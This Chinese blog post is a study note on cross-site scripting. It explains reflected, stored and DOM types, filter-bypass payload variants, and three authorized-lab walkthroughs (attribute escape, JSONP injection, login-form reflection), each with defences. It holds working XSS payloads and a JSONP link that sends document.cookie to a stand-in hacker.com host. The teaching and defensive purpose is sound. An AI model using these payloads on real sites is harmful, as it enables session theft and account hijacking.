ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

杂记07 XSS 跨站脚本攻击

杂记07 XSS 跨站脚本攻击 XSS 的本质只有一句话浏览器把攻击者输入的数据当成了代码来执行。本文从基础概念讲到三个靶场实战属性逃逸、JSONP 劫持、登录框反射型。⚠️ 本文所有测试均在授权靶场中完成仅用于安全学习与防御研究请勿用于未授权目标。一、XSS 基础1.1 什么是 XSS全称Cross-Site Scripting跨站脚本攻击原理网站对用户输入的过滤不足攻击者把恶意代码通常是 JavaScript注入到网页中。其他用户浏览这个页面时嵌入其中的恶意代码就会被浏览器执行。两个核心要素要素说明用户输入不可信任何来自用户的内容都可能是攻击载荷输出未经过滤数据被原样拼进 HTML于是变成了代码 和 SQL 注入对照着记SQL 注入是让数据库把数据当命令执行XSS 是让浏览器把数据当代码执行。病根完全一样——数据越界成了代码。1.2 为什么缩写是 XSS 而不是 CSS因为CSS 这个缩写已经被层叠样式表Cascading Style Sheets占用了。为了在书面表达上不混淆安全领域把 Cross-Site Scripting 缩写为XSS。1.3 三种主要类型类型是否持久化触发条件典型场景反射型❌ 非持久需要诱导受害者点击恶意链接搜索框、错误提示页、登录失败回显存储型✅ 持久访问页面即触发无需点击留言板、评论区、用户资料页DOM 型❌ 非持久浏览器端 JS 处理数据时触发前端路由、动态渲染逐条说明反射型恶意代码作为请求参数如 URL 参数发给服务器服务器把它原样反射回响应页面。一次访问通常只影响一个用户。存储型恶意代码被存进服务器数据库、文件系统所有访问该页面的用户都会中招危害最大。DOM 型不经过服务器端解析是浏览器 JS 动态修改 DOM 树造成的。详见第三章。1.4 危害窃取用户 Cookie →账户劫持会话劫持Session Hijacking篡改网页内容钓鱼、挂马键盘记录、窃取隐私结合 XSS 发起 CSRF 攻击二、常用 Payload 与变形2.1scriptalert(1)/script最简单粗暴的明牌翻译成大白话浏览器立刻执行一段脚本给我弹个写着 1 的框片段作用scriptHTML 的代码执行区入口告诉浏览器接下来是代码而不是文字alert(1)JS 最基础的弹窗命令1是弹窗显示的内容/script代码执行区到此结束打个比方好比你去别人的留言板上留言没写字而是贴了张纸条写着请朗读以下内容啊。网站没做防护下一个来看留言的人浏览器读到纸条就乖乖念了出来。2.2img srcx onerroralert(1)伪装成图片的陷阱翻译成大白话浏览器兄弟请你尝试加载一张名叫 x 的图片。如果找不到肯定找不到就立刻给我弹个框片段作用img网页里最普通、最无害的标签防御系统常常对它放松警惕srcx图片地址故意写成一个不存在的x加载必然失败onerroralert(1)陷阱核心onerror是出错就执行的事件加载失败即触发优势不需要用户交互而且在过滤了script标签的环境里依然有效。2.3 常见变形思路示例换事件svg onloadalert(1)、input autofocus onfocusalert(1)、details open ontogglealert(1)伪协议a hrefjavascript:alert(1)click/a大小写混合ScRiPtalert(1)/ScRiPtURL 编码%3Cscript%3Ealert(1)%3C/script%3E双写绕过scrscriptiptalert(1)/script空格替代img/srcx/onerroralert(1)用/顶替空格 双写绕过的原理过滤器只把script删除一次非递归所以scrscriptipt删掉内层后正好拼回script。⚠️alert(1)只用于验证漏洞是否存在它本身不是攻击目标。真正的危害在第六章的数据外带。三、DOM 型 XSSSource 与 Sink3.1 漏洞本质从 Source 到 Sink 的无过滤传递概念含义常见例子Source源攻击者可控的数据入口location.hash、location.search、document.referrer、输入框Sink汇聚点把数据当代码 / HTML 处理的地方innerHTML、document.write、eval、setTimeout(字符串)一句话漏洞 Source 的数据无过滤地流进了 Sink。前端 JS 拼接字符串时如果没有对用户输入做HTML 实体编码浏览器就会把输入的字符串当成HTML 代码来解析。3.2 攻击手法的演进阶段手法示例对应防御初级利用伪协议javascript:alert(1)只允许http://、https://开头的链接进阶闭合标签注入img srcx onerroralert(1)对输入做 HTML 实体编码3.3 为什么 DOM 型最隐蔽危险逻辑全部在浏览器端执行服务器可能只是收到一次普通请求如果数据来自 URL 的#片段连服务器都收不到#后面的内容不会发送给服务器服务器日志里看不到攻击特征 → 传统服务端 WAF 很难拦截四、实战一属性上下文逃逸靶场提示有的时候你需要闭合字符串才可以。4.1 第一轮直接注入撞上防弹衣提交最经典的 payloadimg srcx onerroralert(1)结果没有弹窗代码被当成普通文本原样显示在页面下方的留言区。这说明有两种可能前端用了安全函数innerText/textContent来插入数据输入被放进了某个标签的属性值里抓包验证输入被 URL 编码后%3Cimg%20src...发给服务器服务器原封不动返回了这段文本。这说明漏洞点不在后端过滤而在前端 JS 处理数据的方式上——典型的 DOM 型 XSS。4.2 第二轮用引号探测包裹方式既然直接注入不行说明前端代码大概长这样element.innerHTML input value userInput 要突破就得先用特殊字符提前结束属性的引号。先试单引号img srcx onerroralert(1)依然只显示为文本→ 说明前端是用双引号包裹的单引号不匹配。4.3 第三轮换成双引号成功破防img srcx onerroralert(1)浏览器解析到独立的img标签 → 尝试加载图片x失败 → 触发onerror→弹窗成功拿到 Flag。4.4 拼出来的 HTML 到底长什么样假设前端代码是var html input typetext value userInput ;代入 payload 后拼出的 HTML 变成input typetext valueimg srcx onerroralert(1)片段干了什么闭合value属性的双引号闭合整个input标签img ...逃出牢笼成为独立的 HTML 标签结尾的变成无意义的残留文本不影响执行4.5 关键细节闭合符必须与包裹引号配对这是实战中最容易踩的坑属性写法正确的闭合符写错的后果value...用无效只是属性值里的普通字符value...用无效⚠️DevTools 的坑开发者工具展示 DOM 时会把属性统一显示成双引号不管你源码里用的哪种。所以判断包裹方式要看服务器返回的原始源码右键查看网页源代码而不是 Elements 面板。一个反例如果模板是a href你的输入testLink/a你输入img src1 onerroralert(1)拼出来是a hrefimg src1 onerroralert(1)testLink/a单引号在双引号属性值内部只是普通字符整个 payload 依然被关在href里不会触发。4.6 防御要点措施说明避开危险 Sink别用innerHTML/document.write渲染用户输入改用textContent用 DOM API 代替拼字符串createElementsetAttribute而不是拼 HTML 字符串上下文编码必须拼接时按输出位置做实体编码→quot;、→lt;五、实战二JSONP 跨域数据劫持5.1 背景同源策略的枷锁概念说明同源策略浏览器最核心的安全机制a.com的网页不能读取b.com的数据。没有它你逛淘宝时淘宝网页就能偷读你网银的信息跨域需求但开发中经常要跨域取数据比如前端在a.com、API 在api.b.com浏览器的后门同源策略限制的是 Ajax但不限制script标签的src——互联网早期就是靠script srchttps://cdn.com/jquery.js加载外部 JS 的JSONP 的诞生开发者灵机一动——既然script能跨域加载 JS 代码那让服务器把数据伪装成 JS 代码返回不就行了于是 JSONPJSON with Padding出现了。5.2 正常工作时长什么样假设a.com想拿b.com的用户数据四步走第一步前端先定义好回调函数function handleData(data) { console.log(我拿到了数据, data); }第二步动态创建script标签script srchttps://b.com/api/getUser?callbackhandleData/scriptcallbackhandleData就是告诉服务器把数据用handleData()包起来再发给我第三步服务器拼接后返回// b.com 返回的内容不是纯 JSON而是一段 JS handleData({name: Alice, age: 18});第四步浏览器自动执行script加载完会自动执行正好调用了本地已定义好的handleData数据成功跨域拿到。5.3 漏洞成因JSONP 有个致命缺陷服务器极度信任callback参数和数据内容并且用简单的字符串拼接。一旦没有严格过滤攻击者就能篡改这段拼接逻辑。5.4 场景一篡改 callback最经典服务器代码return request.args.get(callback) ( json_data )攻击者把 URL 改成https://b.com/api/getUser?callbackalert(1)//服务器返回alert(1)//({name: Alice})浏览器执行时先执行alert(1)弹窗后面的//把剩余内容全部注释掉避免语法错误。5.5 场景二篡改数据内容本次靶场这次callback被固定为handleJsonpData但user参数数据内容没有转义直接拼进了 JSON。服务器代码逻辑类似 Flaskuser_input request.args.get(user) ts int(time.time() * 1000) return fhandleJsonpData({{code: 200, data: {{username: {user_input}}}, timestamp: {ts}}})输入 payloadtest}, alert(1)//拼接后返回handleJsonpData({code: 200, data: {username: test}, alert(1)//, timestamp: 1789912034165}})越狱过程逐步拆解顺序字符作用1闭合test这个字符串2}闭合data对象3,为handleJsonpData提供第二个参数的分隔符4alert(1)作为第二参数被求值执行5//注释掉后面所有代码保持语法完整 注意函数的参数在调用前就会被求值所以alert(1)即使只是一个参数也一样会执行。5.6 武器化从弹窗到窃取 Cookie真实攻击中不会手动去浏览器里敲代码而是把漏洞变成一个恶意链接https://b.com/api/getUser?callbackhandleJsonpDatausertest},%20fetch(https://hacker.com/steal?cookiedocument.cookie)//攻击步骤找接口发现b.com某个 JSONP 接口存在漏洞造链接把alert换成窃取 Cookie 并外发的代码诱导点击通过钓鱼邮件、论坛发帖、聊天工具发给受害者或嵌入恶意第三方网页触发执行受害者点开链接 / 打开恶意网页浏览器自动请求该 URL 并执行返回的 JS数据窃取Cookie 被发送到攻击者服务器攻击者据此登录受害者账户5.7 防御要点① 严格校验 callback 参数白名单只允许字母、数字、下划线import re callback request.args.get(callback) if not re.match(r^[a-zA-Z0-9_]$, callback): return Invalid callback, 400这样alert(1)、test},这类含特殊字符的 payload 会直接被拒。② 用标准库做 JSON 序列化不要手拼字符串import json data {username: user_input} safe_json json.dumps(data) return fhandleJsonpData({safe_json})json.dumps()会自动把数据里的双引号转义成\test},会变成test\},无法逃逸出字符串。③ 设置正确的响应头Content-Type: application/javascript; charsetutf-8防止浏览器把返回内容当成 HTML 解析若按 HTML 解析注入img也可能触发 XSS。④ 放弃 JSONP改用 CORSJSONP 已是过时技术。现代方案是CORS跨域资源共享通过 HTTP 头如Access-Control-Allow-Origin控制跨域权限不需要把数据伪装成 JS从根上避免了拼接带来的 XSS 风险。六、实战三登录框反射型 XSS6.1 信息收集从 SQL 注入尝试到发现回显抓包分析F12 的 Network 面板看到登录请求格式 ——POST /login参数为username、password、captcha。先试 SQL 注入经典的万能密码 or 11 #失败了。这反过来说明后端可能用了参数化查询或者对单引号做了转义 ——可以排除 SQL 注入了。再试 XSS在用户名框输入scriptalert(1)/script没有弹窗。但在响应包里发现了关键线索输入被回显到了 HTML 的value属性中。6.2 定位漏洞点回显机制登录失败后页面会记住你输入的用户名并填回输入框 —— 这是典型的反射型 XSS场景。防御观察服务器把和转义成了lt;和gt;HTML 实体编码说明有基础防御。但是双引号没有被转义—— 这就是突破点。6.3 上下文分析与逃逸输入被放在input value你的输入里也就是HTML 属性上下文。要执行 JS必须先越狱。Payloadimg srcx onerroralert(1)原理拆解片段作用闭合value属性的双引号闭合input标签img srcx onerror...注入独立的 HTML 标签加载失败触发onerror6.4 进阶利用用 fetch 把数据带出来拿到 XSS 后没有停在alert(1)而是继续窃取隐藏的 Flagimg srcx onerroralert(document.cookie);fetch(/flag).then(rr.text()).then(dalert(d))片段作用alert(document.cookie)验证 XSS 执行成功同时测试能否读取敏感 Cookie没设 HttpOnly 就能劫持会话fetch(/flag)用 Fetch API 发起同源内部请求读取只有特定权限才能访问的接口.then(r r.text())fetch返回的是 Promise需要.then提取响应体文本.then(d alert(d))拿到数据后再弹窗显示 这一步才是 XSS 的真正价值从弹个框证明存在升级到把数据偷出来。6.5 防御要点措施说明回显必须编码把用户输入写回 HTML 前做实体编码转成quot;后就失效了敏感 Cookie 加 HttpOnly即使 XSS 成功document.cookie也读不到会话 ID七、XSS 防御总览7.1 核心原则永远不要信任用户的输入对输出进行严格的上下文编码。输入验证是辅助输出编码才是主力。7.2 按输出位置选择编码方式不同上下文的编码规则不同这是最容易做错的地方输出位置示例编码要求HTML 标签之间div用户输入/div转义、、、、HTML 属性内input value用户输入同上且属性值必须加引号JS 变量内var a 用户输入;用 JSON 序列化不要直接拼URL 参数内a href/x?q用户输入做 URL 编码Python 示例import html safe html.escape(user_input) # - quot; - lt; - gt; - amp;7.3 各项防御措施措施说明定位输出编码按上述上下文规则编码浏览器只会把它当文本⭐最有效输入验证白名单机制如电话字段只允许数字辅助HttpOnly CookieSet-Cookie: sessionxxx; HttpOnly; Secure; SameSiteLaxJS 读不到会话降低危害CSP限制资源来源、不配置unsafe-inline禁止内联脚本与内联事件兜底现代框架React / Vue / Angular 默认转义数据默认安全避免危险 Sink少用innerHTML、document.write、eval治本CSP 响应头示例Content-Security-Policy: default-src self; script-src self; object-src none⚠️框架不是万能的Vue 的v-html、React 的dangerouslySetInnerHTML都会绕过默认转义。名字里带dangerously不是开玩笑的。7.4 一句话收尾XSS 就是让浏览器把攻击者输入的数据当成了代码来执行。防御的核心就是确保数据永远是数据。八、总结与进阶路径8.1 三个靶场串起来看靶场考点逃逸手法属性上下文逃逸闭合属性引号 新标签JSONP 劫持闭合 JS 字符串 / 对象}, 新语句 //登录框反射型闭合 HTML 属性 新标签 fetch外带共同套路找到输入落点 → 判断包裹字符 → 闭合逃逸 → 注入代码 → 数据外带。最后提醒XSS 的三种类型触发方式不同但利用思路是相通的——找到数据变成代码的那一刻。把找落点 → 判断上下文 → 闭合逃逸这条主线吃透遇到新场景只需换 payload。
返回列表